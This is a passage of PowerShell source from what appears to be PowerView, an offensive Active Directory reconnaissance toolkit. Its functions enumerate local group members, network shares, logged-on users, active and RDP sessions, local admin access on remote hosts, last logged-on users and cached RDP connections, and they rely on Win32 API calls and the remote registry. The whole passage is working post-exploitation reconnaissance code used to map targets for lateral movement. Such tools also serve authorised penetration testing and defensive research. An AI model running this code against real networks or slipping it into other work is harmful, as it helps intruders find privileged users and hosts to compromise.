                    }

                    # free up the result buffer
                    $Null = $Netapi32::NetApiBufferFree($PtrInfo)

                    # try to extract out the machine SID by using the -500 account as a reference
                    $MachineSid = $LocalUsers | Where-Object {$_.SID -like '*-500'}
                    $Parts = $MachineSid.SID.Split('-')
                    $MachineSid = $Parts[0..($Parts.Length -2)] -join '-'

                    $LocalUsers | ForEach-Object {
                        if($_.SID -match $MachineSid) {
                            $_ | Add-Member Noteproperty 'IsDomain' $False
                        }
                        else {
                            $_ | Add-Member Noteproperty 'IsDomain' $True
                        }
                    }
                    $LocalUsers
                }
                else {
                    Write-Verbose "Error: $(([ComponentModel.Win32Exception] $Result).Message)"
                }
            }

            else {
                # otherwise we're using the WinNT service provider
                try {
                    if($ListGroups) {
                        # if we're listing the group names on a remote server
                        $Computer = [ADSI]"WinNT://$Server,computer"

                        $Computer.psbase.children | Where-Object { $_.psbase.schemaClassName -eq 'group' } | ForEach-Object {
                            $Group = New-Object PSObject
                            $Group | Add-Member Noteproperty 'Server' $Server
                            $Group | Add-Member Noteproperty 'Group' ($_.name[0])
                            $Group | Add-Member Noteproperty 'SID' ((New-Object System.Security.Principal.SecurityIdentifier $_.objectsid[0],0).Value)
                            $Group | Add-Member Noteproperty 'Description' ($_.Description[0])
                            $Group.PSObject.TypeNames.Add('PowerView.LocalGroup')
                            $Group
                        }
                    }
                    else {
                        # otherwise we're listing the group members
                        $Members = @($([ADSI]"WinNT://$Server/$GroupName,group").psbase.Invoke('Members'))

                        $Members | ForEach-Object {

                            $Member = New-Object PSObject
                            $Member | Add-Member Noteproperty 'ComputerName' $Server

                            $AdsPath = ($_.GetType().InvokeMember('Adspath', 'GetProperty', $Null, $_, $Null)).Replace('WinNT://', '')
                            $Class = $_.GetType().InvokeMember('Class', 'GetProperty', $Null, $_, $Null)

                            # try to translate the NT4 domain to a FQDN if possible
                            $Name = Convert-ADName -ObjectName $AdsPath -InputType 'NT4' -OutputType 'Canonical'
                            $IsGroup = $Class -eq "Group"

                            if($Name) {
                                $FQDN = $Name.split("/")[0]
                                $ObjName = $AdsPath.split("/")[-1]
                                $Name = "$FQDN/$ObjName"
                                $IsDomain = $True
                            }
                            else {
                                $ObjName = $AdsPath.split("/")[-1]
                                $Name = $AdsPath
                                $IsDomain = $False
                            }

                            $Member | Add-Member Noteproperty 'AccountName' $Name
                            $Member | Add-Member Noteproperty 'IsDomain' $IsDomain
                            $Member | Add-Member Noteproperty 'IsGroup' $IsGroup

                            if($IsDomain) {
                                # translate the binary sid to a string
                                $Member | Add-Member Noteproperty 'SID' ((New-Object System.Security.Principal.SecurityIdentifier($_.GetType().InvokeMember('ObjectSID', 'GetProperty', $Null, $_, $Null),0)).Value)
                                $Member | Add-Member Noteproperty 'Description' ""
                                $Member | Add-Member Noteproperty 'Disabled' ""

                                if($IsGroup) {
                                    $Member | Add-Member Noteproperty 'LastLogin' ""
                                }
                                else {
                                    try {
                                        $Member | Add-Member Noteproperty 'LastLogin' ( $_.GetType().InvokeMember('LastLogin', 'GetProperty', $Null, $_, $Null))
                                    }
                                    catch {
                                        $Member | Add-Member Noteproperty 'LastLogin' ""
                                    }
                                }
                                $Member | Add-Member Noteproperty 'PwdLastSet' ""
                                $Member | Add-Member Noteproperty 'PwdExpired' ""
                                $Member | Add-Member Noteproperty 'UserFlags' ""
                            }
                            else {
                                # repull this user object so we can ensure correct information
                                $LocalUser = $([ADSI] "WinNT://$AdsPath")

                                # translate the binary sid to a string
                                $Member | Add-Member Noteproperty 'SID' ((New-Object System.Security.Principal.SecurityIdentifier($LocalUser.objectSid.value,0)).Value)
                                $Member | Add-Member Noteproperty 'Description' ($LocalUser.Description[0])

                                if($IsGroup) {
                                    $Member | Add-Member Noteproperty 'PwdLastSet' ""
                                    $Member | Add-Member Noteproperty 'PwdExpired' ""
                                    $Member | Add-Member Noteproperty 'UserFlags' ""
                                    $Member | Add-Member Noteproperty 'Disabled' ""
                                    $Member | Add-Member Noteproperty 'LastLogin' ""
                                }
                                else {
                                    $Member | Add-Member Noteproperty 'PwdLastSet' ( (Get-Date).AddSeconds(-$LocalUser.PasswordAge[0]))
                                    $Member | Add-Member Noteproperty 'PwdExpired' ( $LocalUser.PasswordExpired[0] -eq '1')
                                    $Member | Add-Member Noteproperty 'UserFlags' ( $LocalUser.UserFlags[0] )
                                    # UAC flags of 0x2 mean the account is disabled
                                    $Member | Add-Member Noteproperty 'Disabled' $(($LocalUser.userFlags.value -band 2) -eq 2)
                                    try {
                                        $Member | Add-Member Noteproperty 'LastLogin' ( $LocalUser.LastLogin[0])
                                    }
                                    catch {
                                        $Member | Add-Member Noteproperty 'LastLogin' ""
                                    }
                                }
                            }
                            $Member.PSObject.TypeNames.Add('PowerView.LocalUser')
                            $Member

                            # if the result is a group domain object and we're recursing,
                            #   try to resolve all the group member results
                            if($Recurse -and $IsGroup) {
                                if($IsDomain) {
                                  $FQDN = $Name.split("/")[0]
                                  $GroupName = $Name.split("/")[1].trim()

                                  Get-NetGroupMember -GroupName $GroupName -Domain $FQDN -FullData -Recurse | ForEach-Object {

                                      $Member = New-Object PSObject
                                      $Member | Add-Member Noteproperty 'ComputerName' "$FQDN/$($_.GroupName)"

                                      $MemberDN = $_.distinguishedName
                                      # extract the FQDN from the Distinguished Name
                                      $MemberDomain = $MemberDN.subString($MemberDN.IndexOf("DC=")) -replace 'DC=','' -replace ',','.'

                                      $MemberIsGroup = @('268435456','268435457','536870912','536870913') -contains $_.samaccounttype

                                      if ($_.samAccountName) {
                                          # forest users have the samAccountName set
                                          $MemberName = $_.samAccountName
                                      }
                                      else {
                                          try {
                                              # external trust users have a SID, so convert it
                                              try {
                                                  $MemberName = Convert-SidToName $_.cn
                                              }
                                              catch {
                                                  # if there's a problem contacting the domain to resolve the SID
                                                  $MemberName = $_.cn
                                              }
                                          }
                                          catch {
                                              Write-Debug "Error resolving SID : $_"
                                          }
                                      }

                                      $Member | Add-Member Noteproperty 'AccountName' "$MemberDomain/$MemberName"
                                      $Member | Add-Member Noteproperty 'SID' $_.objectsid
                                      $Member | Add-Member Noteproperty 'Description' $_.description
                                      $Member | Add-Member Noteproperty 'Disabled' $False
                                      $Member | Add-Member Noteproperty 'IsGroup' $MemberIsGroup
                                      $Member | Add-Member Noteproperty 'IsDomain' $True
                                      $Member | Add-Member Noteproperty 'LastLogin' ''
                                      $Member | Add-Member Noteproperty 'PwdLastSet' $_.pwdLastSet
                                      $Member | Add-Member Noteproperty 'PwdExpired' ''
                                      $Member | Add-Member Noteproperty 'UserFlags' $_.userAccountControl
                                      $Member.PSObject.TypeNames.Add('PowerView.LocalUser')
                                      $Member
                                  }
                              } else {
                                Get-NetLocalGroup -ComputerName $Server -GroupName $ObjName -Recurse
                              }
                            }
                        }
                    }
                }
                catch {
                    Write-Warning "[!] Error: $_"
                }
            }
        }
    }
}

filter Get-NetShare {
<#
    .SYNOPSIS

        This function will execute the NetShareEnum Win32API call to query
        a given host for open shares. This is a replacement for
        "net share \\hostname"

    .PARAMETER ComputerName

        The hostname to query for shares. Also accepts IP addresses.

    .OUTPUTS

        SHARE_INFO_1 structure. A representation of the SHARE_INFO_1
        result structure which includes the name and note for each share,
        with the ComputerName added.

    .EXAMPLE

        PS C:\> Get-NetShare

        Returns active shares on the local host.

    .EXAMPLE

        PS C:\> Get-NetShare -ComputerName sqlserver

        Returns active shares on the 'sqlserver' host

    .EXAMPLE

        PS C:\> Get-NetComputer | Get-NetShare

        Returns all shares for all computers in the domain.

    .LINK

        http://www.powershellmagazine.com/2014/09/25/easily-defining-enums-structs-and-win32-functions-in-memory/
#>

    [CmdletBinding()]
    param(
        [Parameter(ValueFromPipeline=$True)]
        [Alias('HostName')]
        [Object[]]
        [ValidateNotNullOrEmpty()]
        $ComputerName = 'localhost'
    )

    # extract the computer name from whatever object was passed on the pipeline
    $Computer = $ComputerName | Get-NameField

    # arguments for NetShareEnum
    $QueryLevel = 1
    $PtrInfo = [IntPtr]::Zero
    $EntriesRead = 0
    $TotalRead = 0
    $ResumeHandle = 0

    # get the share information
    $Result = $Netapi32::NetShareEnum($Computer, $QueryLevel, [ref]$PtrInfo, -1, [ref]$EntriesRead, [ref]$TotalRead, [ref]$ResumeHandle)

    # Locate the offset of the initial intPtr
    $Offset = $PtrInfo.ToInt64()

    # 0 = success
    if (($Result -eq 0) -and ($Offset -gt 0)) {

        # Work out how much to increment the pointer by finding out the size of the structure
        $Increment = $SHARE_INFO_1::GetSize()

        # parse all the result structures
        for ($i = 0; ($i -lt $EntriesRead); $i++) {
            # create a new int ptr at the given offset and cast the pointer as our result structure
            $NewIntPtr = New-Object System.Intptr -ArgumentList $Offset
            $Info = $NewIntPtr -as $SHARE_INFO_1

            # return all the sections of the structure
            $Shares = $Info | Select-Object *
            $Shares | Add-Member Noteproperty 'ComputerName' $Computer
            $Offset = $NewIntPtr.ToInt64()
            $Offset += $Increment
            $Shares
        }

        # free up the result buffer
        $Null = $Netapi32::NetApiBufferFree($PtrInfo)
    }
    else {
        Write-Verbose "Error: $(([ComponentModel.Win32Exception] $Result).Message)"
    }
}


filter Get-NetLoggedon {
<#
    .SYNOPSIS

        This function will execute the NetWkstaUserEnum Win32API call to query
        a given host for actively logged on users.

    .PARAMETER ComputerName

        The hostname to query for logged on users.

    .OUTPUTS

        WKSTA_USER_INFO_1 structure. A representation of the WKSTA_USER_INFO_1
        result structure which includes the username and domain of logged on users,
        with the ComputerName added.

    .EXAMPLE

        PS C:\> Get-NetLoggedon

        Returns users actively logged onto the local host.

    .EXAMPLE

        PS C:\> Get-NetLoggedon -ComputerName sqlserver

        Returns users actively logged onto the 'sqlserver' host.

    .EXAMPLE

        PS C:\> Get-NetComputer | Get-NetLoggedon

        Returns all logged on userse for all computers in the domain.

    .LINK

        http://www.powershellmagazine.com/2014/09/25/easily-defining-enums-structs-and-win32-functions-in-memory/
#>

    [CmdletBinding()]
    param(
        [Parameter(ValueFromPipeline=$True)]
        [Alias('HostName')]
        [Object[]]
        [ValidateNotNullOrEmpty()]
        $ComputerName = 'localhost'
    )

    # extract the computer name from whatever object was passed on the pipeline
    $Computer = $ComputerName | Get-NameField

    # Declare the reference variables
    $QueryLevel = 1
    $PtrInfo = [IntPtr]::Zero
    $EntriesRead = 0
    $TotalRead = 0
    $ResumeHandle = 0

    # get logged on user information
    $Result = $Netapi32::NetWkstaUserEnum($Computer, $QueryLevel, [ref]$PtrInfo, -1, [ref]$EntriesRead, [ref]$TotalRead, [ref]$ResumeHandle)

    # Locate the offset of the initial intPtr
    $Offset = $PtrInfo.ToInt64()

    # 0 = success
    if (($Result -eq 0) -and ($Offset -gt 0)) {

        # Work out how much to increment the pointer by finding out the size of the structure
        $Increment = $WKSTA_USER_INFO_1::GetSize()

        # parse all the result structures
        for ($i = 0; ($i -lt $EntriesRead); $i++) {
            # create a new int ptr at the given offset and cast the pointer as our result structure
            $NewIntPtr = New-Object System.Intptr -ArgumentList $Offset
            $Info = $NewIntPtr -as $WKSTA_USER_INFO_1

            # return all the sections of the structure
            $LoggedOn = $Info | Select-Object *
            $LoggedOn | Add-Member Noteproperty 'ComputerName' $Computer
            $Offset = $NewIntPtr.ToInt64()
            $Offset += $Increment
            $LoggedOn
        }

        # free up the result buffer
        $Null = $Netapi32::NetApiBufferFree($PtrInfo)
    }
    else {
        Write-Verbose "Error: $(([ComponentModel.Win32Exception] $Result).Message)"
    }
}


filter Get-NetSession {
<#
    .SYNOPSIS

        This function will execute the NetSessionEnum Win32API call to query
        a given host for active sessions on the host.
        Heavily adapted from dunedinite's post on stackoverflow (see LINK below)

    .PARAMETER ComputerName

        The ComputerName to query for active sessions.

    .PARAMETER UserName

        The user name to filter for active sessions.

    .OUTPUTS

        SESSION_INFO_10 structure. A representation of the SESSION_INFO_10
        result structure which includes the host and username associated
        with active sessions, with the ComputerName added.

    .EXAMPLE

        PS C:\> Get-NetSession

        Returns active sessions on the local host.

    .EXAMPLE

        PS C:\> Get-NetSession -ComputerName sqlserver

        Returns active sessions on the 'sqlserver' host.

    .EXAMPLE

        PS C:\> Get-NetDomainController | Get-NetSession

        Returns active sessions on all domain controllers.

    .LINK

        http://www.powershellmagazine.com/2014/09/25/easily-defining-enums-structs-and-win32-functions-in-memory/
#>

    [CmdletBinding()]
    param(
        [Parameter(ValueFromPipeline=$True)]
        [Alias('HostName')]
        [Object[]]
        [ValidateNotNullOrEmpty()]
        $ComputerName = 'localhost',

        [String]
        $UserName = ''
    )

    # extract the computer name from whatever object was passed on the pipeline
    $Computer = $ComputerName | Get-NameField

    # arguments for NetSessionEnum
    $QueryLevel = 10
    $PtrInfo = [IntPtr]::Zero
    $EntriesRead = 0
    $TotalRead = 0
    $ResumeHandle = 0

    # get session information
    $Result = $Netapi32::NetSessionEnum($Computer, '', $UserName, $QueryLevel, [ref]$PtrInfo, -1, [ref]$EntriesRead, [ref]$TotalRead, [ref]$ResumeHandle)

    # Locate the offset of the initial intPtr
    $Offset = $PtrInfo.ToInt64()

    # 0 = success
    if (($Result -eq 0) -and ($Offset -gt 0)) {

        # Work out how much to increment the pointer by finding out the size of the structure
        $Increment = $SESSION_INFO_10::GetSize()

        # parse all the result structures
        for ($i = 0; ($i -lt $EntriesRead); $i++) {
            # create a new int ptr at the given offset and cast the pointer as our result structure
            $NewIntPtr = New-Object System.Intptr -ArgumentList $Offset
            $Info = $NewIntPtr -as $SESSION_INFO_10

            # return all the sections of the structure
            $Sessions = $Info | Select-Object *
            $Sessions | Add-Member Noteproperty 'ComputerName' $Computer
            $Offset = $NewIntPtr.ToInt64()
            $Offset += $Increment
            $Sessions
        }
        # free up the result buffer
        $Null = $Netapi32::NetApiBufferFree($PtrInfo)
    }
    else {
        Write-Verbose "Error: $(([ComponentModel.Win32Exception] $Result).Message)"
    }
}


filter Get-LoggedOnLocal {
<#
    .SYNOPSIS

        This function will query the HKU registry values to retrieve the local
        logged on users SID and then attempt and reverse it.
        Adapted technique from Sysinternal's PSLoggedOn script. Benefit over
        using the NetWkstaUserEnum API (Get-NetLoggedon) of less user privileges
        required (NetWkstaUserEnum requires remote admin access).

        Note: This function requires only domain user rights on the
        machine you're enumerating, but remote registry must be enabled.

        Function: Get-LoggedOnLocal
        Author: Matt Kelly, @BreakersAll

    .PARAMETER ComputerName

        The ComputerName to query for active sessions.

    .EXAMPLE

        PS C:\> Get-LoggedOnLocal

        Returns active sessions on the local host.

    .EXAMPLE

        PS C:\> Get-LoggedOnLocal -ComputerName sqlserver

        Returns active sessions on the 'sqlserver' host.

#>

    [CmdletBinding()]
    param(
        [Parameter(ValueFromPipeline=$True)]
        [Alias('HostName')]
        [Object[]]
        [ValidateNotNullOrEmpty()]
        $ComputerName = 'localhost'
    )

    # process multiple host object types from the pipeline
    $ComputerName = Get-NameField -Object $ComputerName

    try {
        # retrieve HKU remote registry values
        $Reg = [Microsoft.Win32.RegistryKey]::OpenRemoteBaseKey('Users', "$ComputerName")

        # sort out bogus sid's like _class
        $Reg.GetSubKeyNames() | Where-Object { $_ -match 'S-1-5-21-[0-9]+-[0-9]+-[0-9]+-[0-9]+$' } | ForEach-Object {
            $UserName = Convert-SidToName $_

            $Parts = $UserName.Split('\')
            $UserDomain = $Null
            $UserName = $Parts[-1]
            if ($Parts.Length -eq 2) {
                $UserDomain = $Parts[0]
            }

            $LocalLoggedOnUser = New-Object PSObject
            $LocalLoggedOnUser | Add-Member Noteproperty 'ComputerName' "$ComputerName"
            $LocalLoggedOnUser | Add-Member Noteproperty 'UserDomain' $UserDomain
            $LocalLoggedOnUser | Add-Member Noteproperty 'UserName' $UserName
            $LocalLoggedOnUser | Add-Member Noteproperty 'UserSID' $_
            $LocalLoggedOnUser
        }
    }
    catch {
        Write-Verbose "Error opening remote registry on '$ComputerName'"
    }
}


filter Get-NetRDPSession {
<#
    .SYNOPSIS

        This function will execute the WTSEnumerateSessionsEx and 
        WTSQuerySessionInformation Win32API calls to query a given
        RDP remote service for active sessions and originating IPs.
        This is a replacement for qwinsta.

        Note: only members of the Administrators or Account Operators local group
        can successfully execute this functionality on a remote target.

    .PARAMETER ComputerName

        The hostname to query for active RDP sessions.

    .EXAMPLE

        PS C:\> Get-NetRDPSession

        Returns active RDP/terminal sessions on the local host.

    .EXAMPLE

        PS C:\> Get-NetRDPSession -ComputerName "sqlserver"

        Returns active RDP/terminal sessions on the 'sqlserver' host.

    .EXAMPLE

        PS C:\> Get-NetDomainController | Get-NetRDPSession

        Returns active RDP/terminal sessions on all domain controllers.
#>

    [CmdletBinding()]
    param(
        [Parameter(ValueFromPipeline=$True)]
        [Alias('HostName')]
        [Object[]]
        [ValidateNotNullOrEmpty()]
        $ComputerName = 'localhost'
    )

    # extract the computer name from whatever object was passed on the pipeline
    $Computer = $ComputerName | Get-NameField

    # open up a handle to the Remote Desktop Session host
    $Handle = $Wtsapi32::WTSOpenServerEx($Computer)

    # if we get a non-zero handle back, everything was successful
    if ($Handle -ne 0) {

        # arguments for WTSEnumerateSessionsEx
        $ppSessionInfo = [IntPtr]::Zero
        $pCount = 0
        
        # get information on all current sessions
        $Result = $Wtsapi32::WTSEnumerateSessionsEx($Handle, [ref]1, 0, [ref]$ppSessionInfo, [ref]$pCount);$LastError = [Runtime.InteropServices.Marshal]::GetLastWin32Error()

        # Locate the offset of the initial intPtr
        $Offset = $ppSessionInfo.ToInt64()

        if (($Result -ne 0) -and ($Offset -gt 0)) {

            # Work out how much to increment the pointer by finding out the size of the structure
            $Increment = $WTS_SESSION_INFO_1::GetSize()

            # parse all the result structures
            for ($i = 0; ($i -lt $pCount); $i++) {
 
                # create a new int ptr at the given offset and cast the pointer as our result structure
                $NewIntPtr = New-Object System.Intptr -ArgumentList $Offset
                $Info = $NewIntPtr -as $WTS_SESSION_INFO_1

                $RDPSession = New-Object PSObject

                if ($Info.pHostName) {
                    $RDPSession | Add-Member Noteproperty 'ComputerName' $Info.pHostName
                }
                else {
                    # if no hostname returned, use the specified hostname
                    $RDPSession | Add-Member Noteproperty 'ComputerName' $Computer
                }

                $RDPSession | Add-Member Noteproperty 'SessionName' $Info.pSessionName

                if ($(-not $Info.pDomainName) -or ($Info.pDomainName -eq '')) {
                    # if a domain isn't returned just use the username
                    $RDPSession | Add-Member Noteproperty 'UserName' "$($Info.pUserName)"
                }
                else {
                    $RDPSession | Add-Member Noteproperty 'UserName' "$($Info.pDomainName)\$($Info.pUserName)"
                }

                $RDPSession | Add-Member Noteproperty 'ID' $Info.SessionID
                $RDPSession | Add-Member Noteproperty 'State' $Info.State

                $ppBuffer = [IntPtr]::Zero
                $pBytesReturned = 0

                # query for the source client IP with WTSQuerySessionInformation
                #   https://msdn.microsoft.com/en-us/library/aa383861(v=vs.85).aspx
                $Result2 = $Wtsapi32::WTSQuerySessionInformation($Handle, $Info.SessionID, 14, [ref]$ppBuffer, [ref]$pBytesReturned);$LastError2 = [Runtime.InteropServices.Marshal]::GetLastWin32Error()

                if($Result -eq 0) {
                    Write-Verbose "Error: $(([ComponentModel.Win32Exception] $LastError2).Message)"
                }
                else {
                    $Offset2 = $ppBuffer.ToInt64()
                    $NewIntPtr2 = New-Object System.Intptr -ArgumentList $Offset2
                    $Info2 = $NewIntPtr2 -as $WTS_CLIENT_ADDRESS

                    $SourceIP = $Info2.Address       
                    if($SourceIP[2] -ne 0) {
                        $SourceIP = [String]$SourceIP[2]+"."+[String]$SourceIP[3]+"."+[String]$SourceIP[4]+"."+[String]$SourceIP[5]
                    }
                    else {
                        $SourceIP = $Null
                    }

                    $RDPSession | Add-Member Noteproperty 'SourceIP' $SourceIP
                    $RDPSession

                    # free up the memory buffer
                    $Null = $Wtsapi32::WTSFreeMemory($ppBuffer)

                    $Offset += $Increment
                }
            }
            # free up the memory result buffer
            $Null = $Wtsapi32::WTSFreeMemoryEx(2, $ppSessionInfo, $pCount)
        }
        else {
            Write-Verbose "Error: $(([ComponentModel.Win32Exception] $LastError).Message)"
        }
        # Close off the service handle
        $Null = $Wtsapi32::WTSCloseServer($Handle)
    }
    else {
        Write-Verbose "Error opening the Remote Desktop Session Host (RD Session Host) server for: $ComputerName"
    }
}


filter Invoke-CheckLocalAdminAccess {
<#
    .SYNOPSIS

        This function will use the OpenSCManagerW Win32API call to establish
        a handle to the remote host. If this succeeds, the current user context
        has local administrator acess to the target.

        Idea stolen from the local_admin_search_enum post module in Metasploit written by:
            'Brandon McCann "zeknox" <bmccann[at]accuvant.com>'
            'Thomas McCarthy "smilingraccoon" <smilingraccoon[at]gmail.com>'
            'Royce Davis "r3dy" <rdavis[at]accuvant.com>'

    .PARAMETER ComputerName

        The hostname to query for active sessions.

    .OUTPUTS

        $True if the current user has local admin access to the hostname, $False otherwise

    .EXAMPLE

        PS C:\> Invoke-CheckLocalAdminAccess -ComputerName sqlserver

        Returns active sessions on the local host.

    .EXAMPLE

        PS C:\> Get-NetComputer | Invoke-CheckLocalAdminAccess

        Sees what machines in the domain the current user has access to.

    .LINK

        https://github.com/rapid7/metasploit-framework/blob/master/modules/post/windows/gather/local_admin_search_enum.rb
        http://www.powershellmagazine.com/2014/09/25/easily-defining-enums-structs-and-win32-functions-in-memory/
#>

    [CmdletBinding()]
    param(
        [Parameter(ValueFromPipeline=$True)]
        [Alias('HostName')]
        [Object[]]
        [ValidateNotNullOrEmpty()]
        $ComputerName = 'localhost'
    )

    # extract the computer name from whatever object was passed on the pipeline
    $Computer = $ComputerName | Get-NameField

    # 0xF003F - SC_MANAGER_ALL_ACCESS
    #   http://msdn.microsoft.com/en-us/library/windows/desktop/ms685981(v=vs.85).aspx
    $Handle = $Advapi32::OpenSCManagerW("\\$Computer", 'ServicesActive', 0xF003F);$LastError = [Runtime.InteropServices.Marshal]::GetLastWin32Error()

    Write-Verbose "Invoke-CheckLocalAdminAccess handle: $Handle"

    $IsAdmin = New-Object PSObject
    $IsAdmin | Add-Member Noteproperty 'ComputerName' $Computer

    # if we get a non-zero handle back, everything was successful
    if ($Handle -ne 0) {
        $Null = $Advapi32::CloseServiceHandle($Handle)
        $IsAdmin | Add-Member Noteproperty 'IsAdmin' $True
    }
    else {
        Write-Verbose "Error: $(([ComponentModel.Win32Exception] $LastError).Message)"
        $IsAdmin | Add-Member Noteproperty 'IsAdmin' $False
    }

    $IsAdmin
}


filter Get-SiteName {
<#
    .SYNOPSIS

        This function will use the DsGetSiteName Win32API call to look up the
        name of the site where a specified computer resides.

    .PARAMETER ComputerName

        The hostname to look the site up for, default to localhost.

    .EXAMPLE

        PS C:\> Get-SiteName -ComputerName WINDOWS1

        Returns the site for WINDOWS1.testlab.local.

    .EXAMPLE

        PS C:\> Get-NetComputer | Get-SiteName

        Returns the sites for every machine in AD.
#>
    [CmdletBinding()]
    param(
        [Parameter(ValueFromPipeline=$True)]
        [Alias('HostName')]
        [Object[]]
        [ValidateNotNullOrEmpty()]
        $ComputerName = $Env:ComputerName
    )

    # extract the computer name from whatever object was passed on the pipeline
    $Computer = $ComputerName | Get-NameField

    # if we get an IP address, try to resolve the IP to a hostname
    if($Computer -match '^(?:[0-9]{1,3}\.){3}[0-9]{1,3}$') {
        $IPAddress = $Computer
        $Computer = [System.Net.Dns]::GetHostByAddress($Computer)
    }
    else {
        $IPAddress = @(Get-IPAddress -ComputerName $Computer)[0].IPAddress
    }

    $PtrInfo = [IntPtr]::Zero

    $Result = $Netapi32::DsGetSiteName($Computer, [ref]$PtrInfo)

    $ComputerSite = New-Object PSObject
    $ComputerSite | Add-Member Noteproperty 'ComputerName' $Computer
    $ComputerSite | Add-Member Noteproperty 'IPAddress' $IPAddress

    if ($Result -eq 0) {
        $Sitename = [System.Runtime.InteropServices.Marshal]::PtrToStringAuto($PtrInfo)
        $ComputerSite | Add-Member Noteproperty 'SiteName' $Sitename
    }
    else {
        $ErrorMessage = "Error: $(([ComponentModel.Win32Exception] $Result).Message)"
        $ComputerSite | Add-Member Noteproperty 'SiteName' $ErrorMessage
    }

    $Null = $Netapi32::NetApiBufferFree($PtrInfo)

    $ComputerSite
}


filter Get-LastLoggedOn {
<#
    .SYNOPSIS

        This function uses remote registry functionality to return
        the last user logged onto a target machine.

        Note: This function requires administrative rights on the
        machine you're enumerating.

    .PARAMETER ComputerName

        The hostname to query for the last logged on user.
        Defaults to the localhost.

    .PARAMETER Credential

        A [Management.Automation.PSCredential] object for the remote connection.

    .EXAMPLE

        PS C:\> Get-LastLoggedOn

        Returns the last user logged onto the local machine.

    .EXAMPLE
        
        PS C:\> Get-LastLoggedOn -ComputerName WINDOWS1

        Returns the last user logged onto WINDOWS1

    .EXAMPLE
        
        PS C:\> Get-NetComputer | Get-LastLoggedOn

        Returns the last user logged onto all machines in the domain.
#>

    [CmdletBinding()]
    param(
        [Parameter(ValueFromPipeline=$True)]
        [Alias('HostName')]
        [Object[]]
        [ValidateNotNullOrEmpty()]
        $ComputerName = 'localhost',

        [Management.Automation.PSCredential]
        $Credential
    )

    # extract the computer name from whatever object was passed on the pipeline
    $Computer = $ComputerName | Get-NameField

    # HKEY_LOCAL_MACHINE
    $HKLM = 2147483650

    # try to open up the remote registry key to grab the last logged on user
    try {

        if($Credential) {
            $Reg = Get-WmiObject -List 'StdRegProv' -Namespace root\default -Computername $Computer -Credential $Credential -ErrorAction SilentlyContinue
        }
        else {
            $Reg = Get-WmiObject -List 'StdRegProv' -Namespace root\default -Computername $Computer -ErrorAction SilentlyContinue
        }

        $Key = "SOFTWARE\Microsoft\Windows\CurrentVersion\Authentication\LogonUI"
        $Value = "LastLoggedOnUser"
        $LastUser = $Reg.GetStringValue($HKLM, $Key, $Value).sValue

        $LastLoggedOn = New-Object PSObject
        $LastLoggedOn | Add-Member Noteproperty 'ComputerName' $Computer
        $LastLoggedOn | Add-Member Noteproperty 'LastLoggedOn' $LastUser
        $LastLoggedOn
    }
    catch {
        Write-Warning "[!] Error opening remote registry on $Computer. Remote registry likely not enabled."
    }
}


filter Get-CachedRDPConnection {
<#
    .SYNOPSIS

        Uses remote registry functionality to query all entries for the
        "Windows Remote Desktop Connection Client" on a machine, separated by
        user and target server.

        Note: This function requires administrative rights on the
        machine you're enumerating.

    .PARAMETER ComputerName

        The hostname to query for RDP client information.
        Defaults to localhost.

    .PARAMETER Credential

        A [Management.Automation.PSCredential] object for the remote connection.

    .EXAMPLE

        PS C:\> Get-CachedRDPConnection

        Returns the RDP connection client information for the local machine.

    .EXAMPLE

        PS C:\> Get-CachedRDPConnection -ComputerName WINDOWS2.testlab.local

        Returns the RDP connection client information for the WINDOWS2.testlab.local machine

    .EXAMPLE

        PS C:\> Get-CachedRDPConnection -ComputerName WINDOWS2.testlab.local -Credential $Cred

        Returns the RDP connection client information for the WINDOWS2.testlab.local machine using alternate credentials.

    .EXAMPLE

        PS C:\> Get-NetComputer | Get-CachedRDPConnection

        Get cached RDP information for all machines in the domain.
#>

    [CmdletBinding()]
    param(
        [Parameter(ValueFromPipeline=$True)]
        [Alias('HostName')]
        [Object[]]
        [ValidateNotNullOrEmpty()]
        $ComputerName = 'localhost',

        [Management.Automation.PSCredential]
        $Credential
    )

    # extract the computer name from whatever object was passed on the pipeline
    $Computer = $ComputerName | Get-NameField

    # HKEY_USERS
    $HKU = 2147483651

    try {
        if($Credential) {
            $Reg = Get-WmiObject -List 'StdRegProv' -Namespace root\default -Computername $Computer -Credential $Credential -ErrorAction SilentlyContinue
        }
        else {
            $Reg = Get-WmiObject -List 'StdRegProv' -Namespace root\default -Computername $Computer -ErrorAction SilentlyContinue
        }

        # extract out the SIDs of domain users in this hive
        $UserSIDs = ($Reg.EnumKey($HKU, "")).sNames | ? { $_ -match 'S-1-5-21-[0-9]+-[0-9]+-[0-9]+-[0-9]+$' }

        foreach ($UserSID in $UserSIDs) {

            try {
                $UserName = Convert-SidToName $UserSID

                # pull out all the cached RDP connections
                $ConnectionKeys = $Reg.EnumValues($HKU,"$UserSID\Software\Microsoft\Terminal Server Client\Default").sNames

                foreach ($Connection in $ConnectionKeys) {
                    # make sure this key is a cached connection
                    if($Connection -match 'MRU.*') {
                        $TargetServer = $Reg.GetStringValue($HKU, "$UserSID\Software\Microsoft\Terminal Server Client\Default", $Connection).sValue
                        
                        $FoundConnection = New-Object PSObject
                        $FoundConnection | Add-Member Noteproperty 'ComputerName' $Computer
                        $FoundConnection | Add-Member Noteproperty 'UserName' $UserName
                        $FoundConnection | Add-Member Noteproperty 'UserSID' $UserSID
                        $FoundConnection | Add-Member Noteproperty 'TargetServer' $TargetServer
                        $FoundConnection | Add-Member Noteproperty 'UsernameHint' $Null
                        $FoundConnection
                    }
                }

                # pull out all the cached server info with username hints
                $ServerKeys = $Reg.EnumKey($HKU,"$UserSID\Software\Microsoft\Terminal Server Client\Servers").sNames

                foreach ($Server in $ServerKeys) {

                    $UsernameHint = $Reg.GetStringValue($HKU, "$UserSID\Software\Microsoft\Terminal Server Client\Servers\$Server", 'UsernameHint').sValue
                    
                    $FoundConnection = New-Object PSObject
                    $FoundConnection | Add-Member Noteproperty 'ComputerName' $Computer
                    $FoundConnection | Add-Member Noteproperty 'UserName' $UserName
                    $FoundConnection | Add-Member Noteproperty 'UserSID' $UserSID
                    $FoundConnection | Add-Member Noteproperty 'TargetServer' $Server
                    $FoundConnection | Add-Member Noteproperty 'UsernameHint' $UsernameHint
                    $FoundConnection   
                }

            }
            catch {
                Write-Verbose "Error: $_"
            }
        }

    }
    catch {
        Write-Warning "Error accessing $Computer, likely insufficient permissions or firewall rules on host: $_"
    }
}


filter Get-RegistryMountedDrive {
<#
    .SYNOPSIS

        Uses remote registry functionality to query all entries for the
        the saved network mounted drive on a machine, separated by
        user and target server.

        Note: This function requires administrative rights on the
        machine you're enumerating.

    .PARAMETER ComputerName

        The hostname to query for RDP client information.
        Defaults to localhost.

    .PARAMETER Credential

